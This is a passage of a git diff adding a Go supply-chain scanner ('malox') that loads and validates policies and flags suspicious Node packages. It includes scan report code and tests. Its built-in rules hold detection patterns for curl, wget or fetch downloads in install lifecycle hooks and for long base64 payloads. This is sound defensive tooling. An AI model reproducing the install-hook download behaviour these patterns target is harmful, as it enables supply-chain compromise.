+ +func scanFindings(findings []rules.Finding) []rules.Finding { + if len(findings) == 0 { + return []rules.Finding{} + } + return findings +} + +func scanSignals(signals []scan.PackageManagerSignal) []PackageManagerSignal { + if len(signals) == 0 { + return nil + } + out := make([]PackageManagerSignal, 0, len(signals)) + for _, signal := range signals { + out = append(out, PackageManagerSignal{ + Manager: signal.Manager, + Kind: signal.Kind, + Path: signal.Path, + }) + } + return out +} + +func scanFiles(files []scan.File) []FileRecord { + out := make([]FileRecord, 0, len(files)) + for _, file := range files { + out = append(out, FileRecord{ + Path: file.Path, + Size: file.Size, + ModifiedTime: formatTime(file.ModifiedTime), + Mode: file.Mode, + Permissions: file.Permissions, + Symlink: file.Symlink, + SymlinkTarget: file.SymlinkTarget, + SHA256: file.SHA256, + Type: file.Type, + Status: string(file.Status), + State: string(file.State), + SkipReason: scanSkipReason(file.SkipReason), + PackageOwner: file.PackageOwner, + }) + } + return out +} + +func scanSkippedFiles(skipped []scan.SkippedFile) []SkippedFile { + if len(skipped) == 0 { + return nil + } + out := make([]SkippedFile, 0, len(skipped)) + for _, item := range skipped { + out = append(out, SkippedFile{ + Path: item.Path, + Reason: scanReason(item.Reason), + }) + } + return out +} + +func scanSkippedDirectories(skipped []scan.SkippedDirectory) []SkippedDirectory { + if len(skipped) == 0 { + return nil + } + out := make([]SkippedDirectory, 0, len(skipped)) + for _, item := range skipped { + out = append(out, SkippedDirectory{ + Path: item.Path, + Reason: scanReason(item.Reason), + }) + } + return out +} + +func scanIssues(issues []scan.Issue) []Issue { + if len(issues) == 0 { + return nil + } + out := make([]Issue, 0, len(issues)) + for _, issue := range issues { + out = append(out, Issue{ + Path: issue.Path, + Code: issue.Code, + Message: issue.Message, + }) + } + return out +} + +func scanSkipReason(reason *scan.SkipReason) *SkipReason { + if reason == nil { + return nil + } + out := scanReason(*reason) + return &out +} + +func scanReason(reason scan.SkipReason) SkipReason { + return SkipReason{ + Code: reason.Code, + Message: reason.Message, + LimitBytes: reason.LimitBytes, + ActualBytes: reason.ActualBytes, + } +} + +func signalSummary(signals []scan.PackageManagerSignal) string { + if len(signals) == 0 { + return "" + } + parts := make([]string, 0, len(signals)) + for _, signal := range signals { + parts = append(parts, signal.Manager+" "+signal.Kind+" at "+signal.Path) + } + return strings.Join(parts, ", ") +} + +func formatTime(t time.Time) string { + if t.IsZero() { + return "" + } + return t.UTC().Format(time.RFC3339Nano) +} diff --git a/internal/report/scan_test.go b/internal/report/scan_test.go new file mode 100644 index 0000000..7712c19 --- /dev/null +++ b/internal/report/scan_test.go @@ -0,0 +1,115 @@ +package report + +import ( + "bytes" + "encoding/json" + "strings" + "testing" + "time" + + "malox/internal/node" + "malox/internal/scan" +) + +func TestWriteScanJSONUsesPublicSchema(t *testing.T) { + when := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + snapshot := scan.Snapshot{ + SchemaVersion: scan.SchemaVersion, + ScannerVersion: "test-version", + ProjectID: "sha256:test", + ProjectRoot: ".", + StartedAt: when, + FinishedAt: when, + Files: []scan.File{ + { + Path: "package.json", + Size: 3, + ModifiedTime: when, + Mode: "-rw-r--r--", + Permissions: "0644", + SHA256: "abc123", + Type: "node_manifest", + Status: scan.StatusScanned, + }, + }, + Node: node.Inventory{ + SchemaVersion: node.SchemaVersion, + Dependencies: []node.Dependency{ + { + Name: "left-pad", + Version: "1.3.0", + PURL: "pkg:npm/left-pad@1.3.0", + PackageManager: "npm", + SourcePath: "package-lock.json", + PackagePath: "node_modules/left-pad", + }, + }, + Summary: node.Summary{ + DependencyCount: 1, + }, + }, + Summary: scan.Summary{ + TotalFiles: 1, + ScannedFiles: 1, + }, + } + + var out bytes.Buffer + if err := WriteScan(&out, snapshot, FormatJSON); err != nil { + t.Fatalf("WriteScan() error = %v", err) + } + if strings.Contains(out.String(), "Usage:") { + t.Fatalf("JSON output contained help text:\n%s", out.String()) + } + + var document ScanSnapshot + if err := json.Unmarshal(out.Bytes(), &document); err != nil { + t.Fatalf("output is not valid JSON: %v\n%s", err, out.String()) + } + if document.SchemaVersion != scan.SchemaVersion { + t.Fatalf("SchemaVersion = %q, want %q", document.SchemaVersion, scan.SchemaVersion) + } + if len(document.Files) != 1 || document.Files[0].Path != "package.json" { + t.Fatalf("Files = %#v, want package.json", document.Files) + } + if document.NodeInventory.Summary.DependencyCount != 1 { + t.Fatalf("NodeInventory = %#v, want one dependency", document.NodeInventory) + } +} + +func TestWriteScanTableSummarizesCounts(t *testing.T) { + snapshot := scan.Snapshot{ + ProjectID: "sha256:test", + ProjectRoot: ".", + Summary: scan.Summary{ + ScannedFiles: 2, + SkippedFiles: 1, + ErroredFiles: 0, + SkippedDirectories: 3, + }, + Node: node.Inventory{ + Summary: node.Summary{ + DependencyCount: 2, + LockfileCount: 1, + PackageScripts: 1, + Warnings: 1, + }, + }, + } + + var out bytes.Buffer + if err := WriteScan(&out, snapshot, FormatTable); err != nil { + t.Fatalf("WriteScan() error = %v", err) + } + for _, want := range []string{ + "Scan snapshot", + "2 scanned", + "1 skipped", + "Skipped directories: 3", + "Node inventory: 2 dependencies, 1 lockfiles, 1 package scripts, 1 warnings", + } { + if !strings.Contains(out.String(), want) { + t.Fatalf("table output missing %q:\n%s", want, out.String()) + } + } +} diff --git a/internal/rules/defaults/allowlist-template.json b/internal/rules/defaults/allowlist-template.json new file mode 100644 index 0000000..32a1cc1 --- /dev/null +++ b/internal/rules/defaults/allowlist-template.json @@ -0,0 +1,5 @@ +{ + "schema_version": "malox.rules.policy.v1", + "source": "builtin:allowlist-template", + "allowlist": [] +} diff --git a/internal/rules/defaults/blocklist-template.json b/internal/rules/defaults/blocklist-template.json new file mode 100644 index 0000000..d4710fc --- /dev/null +++ b/internal/rules/defaults/blocklist-template.json @@ -0,0 +1,5 @@ +{ + "schema_version": "malox.rules.policy.v1", + "source": "builtin:blocklist-template", + "blocklist": [] +} diff --git a/internal/rules/defaults/builtin-rules.json b/internal/rules/defaults/builtin-rules.json new file mode 100644 index 0000000..b7981dd --- /dev/null +++ b/internal/rules/defaults/builtin-rules.json @@ -0,0 +1,29 @@ +{ + "schema_version": "malox.rules.policy.v1", + "source": "builtin:rules", + "rules": [ + { + "id": "builtin:suspicious-lifecycle-network-download", + "description": "lifecycle script downloads remote content", + "severity": "medium", + "confidence": "weak-signal", + "script_names": ["preinstall", "install", "postinstall", "prepare"], + "script_patterns": ["(?i)\\b(curl|wget|invoke-webrequest|iwr|fetch)\\b[^\\n]*(https?://|ftp://)"], + "suspicious_lifecycle_hooks": true + }, + { + "id": "builtin:encoded-payload-indicator", + "description": "source file contains a long base64-like payload", + "severity": "medium", + "confidence": "weak-signal", + "file_patterns": [ + { + "id": "long-base64-like-string", + "pattern": "[A-Za-z0-9+/]{240,}={0,2}", + "file_types": ["javascript", "javascript_react", "typescript", "typescript_react", "shell"], + "max_bytes": 1048576 + } + ] + } + ] +} diff --git a/internal/rules/evaluate.go b/internal/rules/evaluate.go new file mode 100644 index 0000000..cc8dbb7 --- /dev/null +++ b/internal/rules/evaluate.go @@ -0,0 +1,540 @@ +package rules + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + "os" + "path/filepath" + "regexp" + "slices" + "strings" + "time" + + "malox/internal/node" +) + +const ( + ruleTypeDetection = "detection" + ruleTypeBlocklist = "blocklist" +) + +// Evaluate applies all policies to a snapshot-shaped scan input. +func Evaluate(ctx context.Context, opts EvaluateOptions) (EvaluateResult, error) { + if err := ctx.Err(); err != nil { + return EvaluateResult{}, fmt.Errorf("evaluate rules: %w", err) + } + now := opts.Now + if now.IsZero() { + now = time.Now().UTC() + } + + findings := []Finding{} + warnings := []Warning{} + for _, policy := range opts.Policies { + policyFindings, policyWarnings := evaluatePolicy(ctx, opts, policy) + findings = append(findings, policyFindings...) + warnings = append(warnings, policyWarnings...) + } + + applyAllowlists(findings, opts.Policies, now) + sortFindings(findings) + slices.SortFunc(warnings, func(a, b Warning) int { + return strings.Compare(a.Path+"\x00"+a.Code+"\x00"+a.Message, b.Path+"\x00"+b.Code+"\x00"+b.Message) + }) + return EvaluateResult{Findings: findings, Warnings: warnings}, nil +} + +// HasBlockingFindings reports whether scan findings should produce exit code 1. +func HasBlockingFindings(findings []Finding) bool { + for _, finding := range findings { + if finding.Blocking && !finding.Suppressed { + return true + } + } + return false +} + +// FindingIdentity returns a stable identity for finding diffing. +func FindingIdentity(finding Finding) string { + return strings.Join([]string{ + finding.RuleID, + finding.RuleType, + finding.Path, + finding.FileHash, + finding.PackageName, + finding.PackageVersion, + finding.PURL, + finding.RegistryURL, + finding.Maintainer, + finding.ScriptName, + }, "\x00") +} + +func evaluatePolicy(ctx context.Context, opts EvaluateOptions, policy Policy) ([]Finding, []Warning) { + findings := []Finding{} + warnings := []Warning{} + for _, block := range policy.Blocklist { + findings = append(findings, blocklistFindings(policy, block, opts.Files, opts.Node)...) + } + for _, rule := range policy.Rules { + nextFindings, nextWarnings := ruleFindings(ctx, opts, policy, rule) + findings = append(findings, nextFindings...) + warnings = append(warnings, nextWarnings...) + } + return findings, warnings +} + +func blocklistFindings(policy Policy, block BlocklistEntry, files []File, inv node.Inventory) []Finding { + findings := []Finding{} + for _, file := range files { + switch { + case block.Hash != "" && strings.EqualFold(block.Hash, file.SHA256): + findings = append(findings, newBlocklistFileFinding(policy, block, file, "file hash")) + case block.Path != "" && block.Path == file.Path: + findings = append(findings, newBlocklistFileFinding(policy, block, file, "path")) + case block.PathPattern != "" && matchGlob(block.PathPattern, file.Path): + findings = append(findings, newBlocklistFileFinding(policy, block, file, "path pattern")) + } + } + for _, dep := range inv.Dependencies { + switch { + case block.Package != "" && strings.EqualFold(block.Package, dep.Name) && blockVersionMatches(block, dep.Version): + findings = append(findings, newBlocklistDependencyFinding(policy, block, dep, "package")) + case block.PURL != "" && block.PURL == dep.PURL: + findings = append(findings, newBlocklistDependencyFinding(policy, block, dep, "purl")) + case block.URL != "" && block.URL == dep.Resolved: + findings = append(findings, newBlocklistDependencyFinding(policy, block, dep, "url")) + case block.Maintainer != "" && matchAnyFold(dep.Maintainers, block.Maintainer): + findings = append(findings, newBlocklistDependencyFinding(policy, block, dep, "maintainer")) + } + } + return findings +} + +func ruleFindings( + ctx context.Context, + opts EvaluateOptions, + policy Policy, + rule Rule, +) ([]Finding, []Warning) { + findings := []Finding{} + warnings := []Warning{} + for _, file := range opts.Files { + if matchAnyGlob(rule.PathPatterns, file.Path) { + findings = append(findings, newFileRuleFinding(policy, rule, file, Evidence{ + Kind: "path_pattern", + Pattern: strings.Join(rule.PathPatterns, ","), + Path: file.Path, + FileHash: file.SHA256, + })) + } + if file.SHA256 != "" && matchAnyFold(rule.FileSHA256, file.SHA256) { + findings = append(findings, newFileRuleFinding(policy, rule, file, Evidence{ + Kind: "file_sha256", + Value: file.SHA256, + Path: file.Path, + FileHash: file.SHA256, + })) + } + } + + for _, dep := range opts.Node.Dependencies { + findings = append(findings, dependencyRuleFindings(policy, rule, dep)...) + } + for _, script := range opts.Node.PackageScripts { + findings = append(findings, scriptRuleFindings(policy, rule, script)...) + } + + filePatternFindings, filePatternWarnings := fileRuleFindings(ctx, opts, policy, rule) + findings = append(findings, filePatternFindings...) + warnings = append(warnings, filePatternWarnings...) + return findings, warnings +} + +func dependencyRuleFindings(policy Policy, rule Rule, dep node.Dependency) []Finding { + findings := []Finding{} + if matchAnyFold(rule.PackageNames, dep.Name) { + findings = append(findings, newDependencyRuleFinding(policy, rule, dep, Evidence{ + Kind: "package_name", + Value: dep.Name, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + })) + } + for _, versionRange := range rule.PackageVersionRanges { + if versionRange.Package != "" && !strings.EqualFold(versionRange.Package, dep.Name) { + continue + } + ok, err := matchesRange(dep.Version, versionRange.Range) + if err != nil || !ok { + continue + } + findings = append(findings, newDependencyRuleFinding(policy, rule, dep, Evidence{ + Kind: "package_version_range", + Pattern: versionRange.Range, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + })) + } + if matchAnyExact(rule.PURLs, dep.PURL) { + findings = append(findings, newDependencyRuleFinding(policy, rule, dep, Evidence{ + Kind: "purl", + Value: dep.PURL, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + })) + } + if matchAnyExact(rule.RegistryURLs, dep.Resolved) { + findings = append(findings, newDependencyRuleFinding(policy, rule, dep, Evidence{ + Kind: "registry_url", + Value: dep.Resolved, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: dep.Resolved, + })) + } + for _, maintainer := range dep.Maintainers { + if !matchAnyFold(rule.Maintainers, maintainer) { + continue + } + findings = append(findings, newDependencyRuleFinding(policy, rule, dep, Evidence{ + Kind: "maintainer", + Value: maintainer, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + Maintainer: maintainer, + })) + } + return findings +} + +func scriptRuleFindings(policy Policy, rule Rule, script node.PackageScript) []Finding { + if len(rule.ScriptNames) == 0 && + len(rule.ScriptPatterns) == 0 && + !rule.SuspiciousLifecycleHooks { + return nil + } + if len(rule.ScriptNames) > 0 && !matchAnyFold(rule.ScriptNames, script.ScriptName) { + return nil + } + if rule.SuspiciousLifecycleHooks && !isLifecycleHook(script.ScriptName) { + return nil + } + + findings := []Finding{} + for _, pattern := range rule.ScriptPatterns { + re := regexp.MustCompile(pattern) + if !re.MatchString(script.Command) { + continue + } + findings = append(findings, newScriptRuleFinding(policy, rule, script, Evidence{ + Kind: "script_pattern", + Pattern: pattern, + PackageName: script.PackageName, + PackageVersion: script.PackageVersion, + PURL: script.PURL, + ScriptName: script.ScriptName, + Command: script.Command, + })) + } + if rule.SuspiciousLifecycleHooks && len(rule.ScriptPatterns) == 0 { + findings = append(findings, newScriptRuleFinding(policy, rule, script, Evidence{ + Kind: "suspicious_lifecycle_hook", + PackageName: script.PackageName, + PackageVersion: script.PackageVersion, + PURL: script.PURL, + ScriptName: script.ScriptName, + Command: script.Command, + })) + } + return findings +} + +func fileRuleFindings( + ctx context.Context, + opts EvaluateOptions, + policy Policy, + rule Rule, +) ([]Finding, []Warning) { + findings := []Finding{} + warnings := []Warning{} + if len(rule.FilePatterns) == 0 { + return nil, nil + } + + for _, pattern := range rule.FilePatterns { + re := regexp.MustCompile(pattern.Pattern) + for _, file := range opts.Files { + if err := ctx.Err(); err != nil { + warnings = append(warnings, Warning{Path: file.Path, Code: "rule_context_canceled", Message: err.Error()}) + return findings, warnings + } + if len(pattern.FileTypes) > 0 && !matchAnyFold(pattern.FileTypes, file.Type) { + continue + } + if len(pattern.PathPatterns) > 0 && !matchAnyGlob(pattern.PathPatterns, file.Path) { + continue + } + data, err := readRuleFile(opts.Root, file.Path, filePatternLimit(opts.MaxFileSize, pattern.MaxBytes)) + if err != nil { + warnings = append(warnings, Warning{Path: file.Path, Code: "file_pattern_read_error", Message: err.Error()}) + continue + } + match := re.Find(data) + if len(match) == 0 { + continue + } + evidenceValue := string(match) + if len(evidenceValue) > 80 { + evidenceValue = evidenceValue[:80] + } + findings = append(findings, newFileRuleFinding(policy, rule, file, Evidence{ + Kind: "file_pattern", + Value: evidenceValue, + Pattern: pattern.Pattern, + Path: file.Path, + FileHash: file.SHA256, + })) + } + } + return findings, warnings +} + +func readRuleFile(root, rel string, maxBytes int64) ([]byte, error) { + if !filepath.IsLocal(rel) { + return nil, fmt.Errorf("unsafe relative path %q", rel) + } + f, err := os.OpenInRoot(root, filepath.FromSlash(rel)) + if err != nil { + return nil, fmt.Errorf("open rule target %q: %w", rel, err) + } + defer func() { + _ = f.Close() + }() + limited := io.LimitReader(f, maxBytes+1) + data, err := io.ReadAll(limited) + if err != nil { + return nil, fmt.Errorf("read rule target %q: %w", rel, err) + } + if int64(len(data)) > maxBytes { + return nil, fmt.Errorf("rule target %q exceeds %d bytes", rel, maxBytes) + } + return data, nil +} + +func filePatternLimit(scanMax, patternMax int64) int64 { + const fallback = 1024 * 1024 + limit := scanMax + if limit <= 0 { + limit = fallback + } + if patternMax > 0 && patternMax < limit { + return patternMax + } + return limit +} + +func blockVersionMatches(block BlocklistEntry, version string) bool { + if block.VersionRange == "" { + return true + } + ok, err := matchesRange(version, block.VersionRange) + return err == nil && ok +} + +func newBlocklistFileFinding(policy Policy, block BlocklistEntry, file File, matched string) Finding { + severity := block.Severity + if severity == "" { + severity = SeverityCritical + } + confidence := block.Confidence + if confidence == "" { + confidence = ConfidenceConfirmedMalicious + } + finding := Finding{ + SchemaVersion: FindingSchemaVersion, + Severity: severity, + Confidence: confidence, + Source: policy.Source, + RuleID: block.ID, + RuleType: ruleTypeBlocklist, + Summary: "local blocklist matched " + matched, + Path: file.Path, + FileHash: file.SHA256, + PackageOwner: file.PackageOwner, + Location: &Location{Path: file.Path}, + Blocking: true, + Evidence: []Evidence{{ + Kind: matched, + Path: file.Path, + FileHash: file.SHA256, + Pattern: block.PathPattern, + Value: firstNonEmpty(block.Hash, block.Path), + }}, + } + finding.ID = findingID(finding) + return finding +} + +func newBlocklistDependencyFinding(policy Policy, block BlocklistEntry, dep node.Dependency, matched string) Finding { + severity := block.Severity + if severity == "" { + severity = SeverityCritical + } + confidence := block.Confidence + if confidence == "" { + confidence = ConfidenceConfirmedMalicious + } + finding := Finding{ + SchemaVersion: FindingSchemaVersion, + Severity: severity, + Confidence: confidence, + Source: policy.Source, + RuleID: block.ID, + RuleType: ruleTypeBlocklist, + Summary: "local blocklist matched " + matched, + Path: dep.PackagePath, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: dep.Resolved, + Maintainer: matchedMaintainer(block, dep), + Location: &Location{Path: dep.SourcePath}, + Blocking: true, + Evidence: []Evidence{{ + Kind: matched, + Value: firstNonEmpty(block.Package, block.PURL, block.URL, block.Maintainer), + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: dep.Resolved, + Maintainer: matchedMaintainer(block, dep), + }}, + } + finding.ID = findingID(finding) + return finding +} + +func newFileRuleFinding(policy Policy, rule Rule, file File, evidence Evidence) Finding { + finding := Finding{ + SchemaVersion: FindingSchemaVersion, + Severity: rule.Severity, + Confidence: rule.Confidence, + Source: policy.Source, + RuleID: rule.ID, + RuleType: ruleTypeDetection, + Summary: firstNonEmpty(rule.Description, "local rule matched file"), + Evidence: []Evidence{evidence}, + Path: file.Path, + FileHash: file.SHA256, + PackageOwner: file.PackageOwner, + Location: &Location{Path: file.Path}, + Blocking: false, + } + finding.ID = findingID(finding) + return finding +} + +func newDependencyRuleFinding(policy Policy, rule Rule, dep node.Dependency, evidence Evidence) Finding { + finding := Finding{ + SchemaVersion: FindingSchemaVersion, + Severity: rule.Severity, + Confidence: rule.Confidence, + Source: policy.Source, + RuleID: rule.ID, + RuleType: ruleTypeDetection, + Summary: firstNonEmpty(rule.Description, "local rule matched dependency"), + Evidence: []Evidence{evidence}, + Path: dep.PackagePath, + PackageName: dep.Name, + PackageVersion: dep.Version, + PURL: dep.PURL, + RegistryURL: dep.Resolved, + Maintainer: evidence.Maintainer, + Location: &Location{Path: dep.SourcePath}, + Blocking: false, + } + finding.ID = findingID(finding) + return finding +} + +func matchedMaintainer(block BlocklistEntry, dep node.Dependency) string { + if block.Maintainer == "" { + return "" + } + for _, maintainer := range dep.Maintainers { + if strings.EqualFold(maintainer, block.Maintainer) { + return maintainer + } + } + return block.Maintainer +} + +func newScriptRuleFinding(policy Policy, rule Rule, script node.PackageScript, evidence Evidence) Finding { + finding := Finding{ + SchemaVersion: FindingSchemaVersion, + Severity: rule.Severity, + Confidence: rule.Confidence, + Source: policy.Source, + RuleID: rule.ID, + RuleType: ruleTypeDetection, + Summary: firstNonEmpty(rule.Description, "local rule matched package script"), + Evidence: []Evidence{evidence}, + Path: script.PackagePath, + PackageName: script.PackageName, + PackageVersion: script.PackageVersion, + PURL: script.PURL, + ScriptName: script.ScriptName, + Location: &Location{Path: script.SourcePath, ScriptName: script.ScriptName}, + Blocking: false, + } + finding.ID = findingID(finding) + return finding +} + +func applyAllowlists(findings []Finding, policies []Policy, now time.Time) { + for i := range findings { + for _, policy := range policies { + for _, entry := range policy.Allowlist { + suppression, ok := allowlistMatch(entry, findings[i], now) + if !ok { + continue + } + findings[i].Suppressed = true + findings[i].Suppression = &suppression + break + } + if findings[i].Suppressed { + break + } + } + } +} + +func sortFindings(findings []Finding) { + slices.SortFunc(findings, func(a, b Finding) int { + return strings.Compare(FindingIdentity(a)+"\x00"+a.ID, FindingIdentity(b)+"\x00"+b.ID) + }) +} + +func findingID(finding Finding) string { + sum := sha256.Sum256([]byte(FindingIdentity(finding))) + return "sha256:" + hex.EncodeToString(sum[:]) +} + +func firstNonEmpty(values ...string) string { + for _, value := range values { + if value != "" { + return value + } + } + return "" +} diff --git a/internal/rules/load.go b/internal/rules/load.go new file mode 100644 index 0000000..78dd697 --- /dev/null +++ b/internal/rules/load.go @@ -0,0 +1,287 @@ +package rules + +import ( + "bytes" + "context" + "embed" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" + "time" +) + +//go:embed defaults/*.json +var defaultPolicies embed.FS + +// BuiltinDocument is one embedded policy document. +type BuiltinDocument struct { + Name string + Data []byte +} + +// LoadOptions describes local policy sources. +type LoadOptions struct { + PolicyFiles []string + UseBuiltins bool +} + +// Load reads built-in and organization-managed policy files. +func Load(ctx context.Context, opts LoadOptions) ([]Policy, error) { + if err := ctx.Err(); err != nil { + return nil, fmt.Errorf("load rules: %w", err) + } + + policies := []Policy{} + if opts.UseBuiltins { + builtin, err := LoadBuiltin() + if err != nil { + return nil, err + } + policies = append(policies, builtin...) + } + + filePolicies, err := LoadFiles(ctx, opts.PolicyFiles) + if err != nil { + return nil, err + } + policies = append(policies, filePolicies...) + return policies, nil +} + +// LoadBuiltin returns policies embedded in the Malox binary. +func LoadBuiltin() ([]Policy, error) { + docs, err := BuiltinDocuments() + if err != nil { + return nil, err + } + + policies := make([]Policy, 0, len(docs)) + for _, doc := range docs { + policy, err := DecodePolicy("builtin:"+doc.Name, doc.Data) + if err != nil { + return nil, err + } + policies = append(policies, policy) + } + return policies, nil +} + +// BuiltinDocuments returns the embedded local policy documents. +func BuiltinDocuments() ([]BuiltinDocument, error) { + entries, err := fs.ReadDir(defaultPolicies, "defaults") + if err != nil { + return nil, fmt.Errorf("read built-in rules: %w", err) + } + + docs := make([]BuiltinDocument, 0, len(entries)) + for _, entry := range entries { + if entry.IsDir() || filepath.Ext(entry.Name()) != ".json" { + continue + } + path := "defaults/" + entry.Name() + data, err := defaultPolicies.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("read built-in policy %q: %w", entry.Name(), err) + } + docs = append(docs, BuiltinDocument{ + Name: entry.Name(), + Data: data, + }) + } + return docs, nil +} + +// LoadFiles reads policy files from disk. +func LoadFiles(ctx context.Context, paths []string) ([]Policy, error) { + policies := make([]Policy, 0, len(paths)) + for _, path := range paths { + if err := ctx.Err(); err != nil { + return nil, fmt.Errorf("load rule files: %w", err) + } + if strings.TrimSpace(path) == "" { + return nil, errors.New("policy file path is required") + } + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("read policy file %q: %w", path, err) + } + policy, err := DecodePolicy("policy:"+filepath.Base(path), data) + if err != nil { + return nil, fmt.Errorf("load policy file %q: %w", path, err) + } + policies = append(policies, policy) + } + return policies, nil +} + +// DecodePolicy parses and validates one policy document. +func DecodePolicy(source string, data []byte) (Policy, error) { + decoder := json.NewDecoder(bytes.NewReader(data)) + decoder.DisallowUnknownFields() + + var policy Policy + if err := decoder.Decode(&policy); err != nil { + return Policy{}, fmt.Errorf("parse policy %s: %w", source, err) + } + if strings.TrimSpace(policy.Source) == "" { + policy.Source = source + } + if err := Validate(policy); err != nil { + return Policy{}, fmt.Errorf("validate policy %s: %w", source, err) + } + return policy, nil +} + +// Validate checks the policy schema and rule-level expressions. +func Validate(policy Policy) error { + problems := []string{} + if policy.SchemaVersion != PolicySchemaVersion { + problems = append(problems, fmt.Sprintf("schema_version must be %q", PolicySchemaVersion)) + } + if strings.TrimSpace(policy.Source) == "" { + problems = append(problems, "source is required") + } + + for i, rule := range policy.Rules { + prefix := fmt.Sprintf("rules[%d]", i) + problems = append(problems, validateRule(prefix, rule)...) + } + for i, entry := range policy.Allowlist { + prefix := fmt.Sprintf("allowlist[%d]", i) + problems = append(problems, validateAllowlist(prefix, entry)...) + } + for i, entry := range policy.Blocklist { + prefix := fmt.Sprintf("blocklist[%d]", i) + problems = append(problems, validateBlocklist(prefix, entry)...) + } + + if len(problems) > 0 { + return errors.New(strings.Join(problems, "; ")) + } + return nil +} + +func validateRule(prefix string, rule Rule) []string { + problems := []string{} + if strings.TrimSpace(rule.ID) == "" { + problems = append(problems, prefix+".id is required") + } + if !validSeverity(rule.Severity) { + problems = append(problems, prefix+".severity is invalid") + } + if !validConfidence(rule.Confidence) { + problems = append(problems, prefix+".confidence is invalid") + } + for _, pattern := range rule.ScriptPatterns { + if _, err := compilePattern(pattern); err != nil { + problems = append(problems, fmt.Sprintf("%s.script_patterns contains invalid regex %q: %v", prefix, pattern, err)) + } + } + for j, pattern := range rule.FilePatterns { + if strings.TrimSpace(pattern.Pattern) == "" { + problems = append(problems, fmt.Sprintf("%s.file_patterns[%d].pattern is required", prefix, j)) + continue + } + if _, err := compilePattern(pattern.Pattern); err != nil { + problems = append(problems, fmt.Sprintf("%s.file_patterns[%d].pattern is invalid: %v", prefix, j, err)) + } + if pattern.MaxBytes < 0 { + problems = append(problems, fmt.Sprintf("%s.file_patterns[%d].max_bytes must be non-negative", prefix, j)) + } + } + for _, versionRange := range rule.PackageVersionRanges { + if _, err := parseRange(versionRange.Range); err != nil { + problems = append(problems, fmt.Sprintf("%s.package_version_ranges contains invalid range %q: %v", prefix, versionRange.Range, err)) + } + } + return problems +} + +func validateAllowlist(prefix string, entry AllowlistEntry) []string { + problems := []string{} + if strings.TrimSpace(entry.ID) == "" { + problems = append(problems, prefix+".id is required") + } + if strings.TrimSpace(entry.Reason) == "" { + problems = append(problems, prefix+".reason is required") + } + if strings.TrimSpace(entry.Owner) == "" { + problems = append(problems, prefix+".owner is required") + } + if strings.TrimSpace(entry.ExpiresAt) == "" { + problems = append(problems, prefix+".expires_at is required") + } else if _, err := time.Parse(time.RFC3339, entry.ExpiresAt); err != nil { + problems = append(problems, fmt.Sprintf("%s.expires_at must be RFC3339: %v", prefix, err)) + } + if emptyScope(entry.Scope) { + problems = append(problems, prefix+".scope must contain at least one exact match field") + } + return problems +} + +func validateBlocklist(prefix string, entry BlocklistEntry) []string { + problems := []string{} + if strings.TrimSpace(entry.ID) == "" { + problems = append(problems, prefix+".id is required") + } + if entry.Severity != "" && !validSeverity(entry.Severity) { + problems = append(problems, prefix+".severity is invalid") + } + if entry.Confidence != "" && !validConfidence(entry.Confidence) { + problems = append(problems, prefix+".confidence is invalid") + } + if entry.VersionRange != "" { + if _, err := parseRange(entry.VersionRange); err != nil { + problems = append(problems, fmt.Sprintf("%s.version_range is invalid: %v", prefix, err)) + } + } + if entry.Package == "" && + entry.PURL == "" && + entry.Hash == "" && + entry.Maintainer == "" && + entry.URL == "" && + entry.Path == "" && + entry.PathPattern == "" { + problems = append(problems, prefix+" must define a package, purl, hash, maintainer, url, path, or path_pattern") + } + return problems +} + +func validSeverity(severity Severity) bool { + switch severity { + case SeverityLow, SeverityMedium, SeverityHigh, SeverityCritical: + return true + default: + return false + } +} + +func validConfidence(confidence Confidence) bool { + switch confidence { + case ConfidenceConfirmedMalicious, + ConfidenceKnownVulnerable, + ConfidenceSuspiciousHistory, + ConfidenceWeakSignal, + ConfidenceUnknown: + return true + default: + return false + } +} + +func emptyScope(scope MatchScope) bool { + return scope.FindingID == "" && + scope.RuleID == "" && + scope.Package == "" && + scope.Version == "" && + scope.PURL == "" && + scope.Path == "" && + scope.Hash == "" && + scope.Maintainer == "" && + scope.URL == "" && + scope.ScriptName == "" +} diff --git a/internal/rules/match.go b/internal/rules/match.go new file mode 100644 index 0000000..ec919f9 --- /dev/null +++ b/internal/rules/match.go @@ -0,0 +1,128 @@ +package rules + +import ( + "regexp" + "strings" + "time" +) + +func compilePattern(pattern string) (*regexp.Regexp, error) { + return regexp.Compile(pattern) +} + +func matchAnyExact(values []string, candidate string) bool { + for _, value := range values { + if value == candidate { + return true + } + } + return false +} + +func matchAnyFold(values []string, candidate string) bool { + for _, value := range values { + if strings.EqualFold(value, candidate) { + return true + } + } + return false +} + +func matchAnyGlob(patterns []string, candidate string) bool { + for _, pattern := range patterns { + if matchGlob(pattern, candidate) { + return true + } + } + return false +} + +func matchGlob(pattern, value string) bool { + pattern = strings.TrimSpace(strings.ReplaceAll(pattern, "\\", "/")) + value = strings.ReplaceAll(value, "\\", "/") + if pattern == "" { + return false + } + if pattern == value { + return true + } + + regex := globRegexp(pattern) + return regex.MatchString(value) +} + +func globRegexp(pattern string) *regexp.Regexp { + var builder strings.Builder + builder.WriteString("^") + for i := 0; i < len(pattern); i++ { + ch := pattern[i] + switch ch { + case '*': + if i+1 < len(pattern) && pattern[i+1] == '*' { + builder.WriteString(".*") + i++ + continue + } + builder.WriteString("[^/]*") + case '?': + builder.WriteString("[^/]") + default: + builder.WriteString(regexp.QuoteMeta(string(ch))) + } + } + builder.WriteString("$") + return regexp.MustCompile(builder.String()) +} + +func allowlistMatch(entry AllowlistEntry, finding Finding, now time.Time) (Suppression, bool) { + expiresAt, err := time.Parse(time.RFC3339, entry.ExpiresAt) + if err != nil || !now.Before(expiresAt) { + return Suppression{}, false + } + scope := entry.Scope + if scope.FindingID != "" && scope.FindingID != finding.ID { + return Suppression{}, false + } + if 